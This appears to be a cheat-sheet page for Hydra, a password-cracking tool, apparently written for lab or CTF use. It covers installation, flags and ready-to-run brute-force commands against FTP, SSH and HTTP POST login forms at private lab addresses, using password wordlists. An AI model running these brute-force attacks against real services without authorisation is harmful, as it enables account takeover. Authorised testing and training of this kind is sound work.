tools

Overview

Hydra is a fast and flexible online password cracking tool that supports brute force attacks against live services. Unlike Hashcat which cracks offline hashes, Hydra attacks authentication services directly over the network — supporting dozens of protocols including FTP, SSH, HTTP, and more.

Target / Context

Live network services requiring authentication. Targets include FTP, SSH, HTTP login forms, SMB, RDP, and many more. See https://en.kali.tools/?p=220 for full protocol options.

Installation

ℹ︎Installation Commands: 
apt install hydra
dnf install hydra

Basic Usage

ℹ︎Basic Usage: 
hydra -l <username> -P <wordlist> <protocol>://<target>

Flags & Options

ℹ︎Flags & Options:
FlagDescriptionExample
-lSingle username to use-l admin
-LUsername list file-L users.txt
-pSingle password to use-p password123
-PPassword list file-P /usr/share/wordlists/rockyou.txt
-tNumber of threads to spawn-t 4
-VVerbose — show every attempt-V
-sCustom port-s 2222
-fStop after first valid credentials found-f

Common Use Cases

FTP Brute Force

ℹ︎Commands: 
hydra -l user -P passlist.txt ftp://10.10.185.65

SSH Brute Force

ℹ︎Commands: 
hydra -l <username> -P /full/path/to/list 10.10.185.86 -t 4 ssh
hydra -l <username> -P /full/path/to/list ssh://10.10.185.86

POST Web Form Brute Force

Attacking a web login form via HTTP POST request.

Structure: hydra <username> <wordlist> <target> http-post-form "<path>:<login_creds>:<invalid_response>"

ComponentDescriptionExample
<path>Login page URL path/login.php or /
<login_creds>Form fields with ^USER^ and ^PASS^ placeholdersusername=^USER^&password=^PASS^
<invalid_response>String returned by server on failed loginF=incorrect or :incorrect
ℹ︎Commands: 
hydra -l <username> -P <wordlist> 10.10.185.65 http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V
sudo hydra <username> <wordlist> 10.10.185.65 http-post-form "<path>:<login_creds>:<invalid_response>"

Note: ^USER^ and ^PASS^ are replaced with each username/password combination during the attack.

  • Password Cracking

References / Images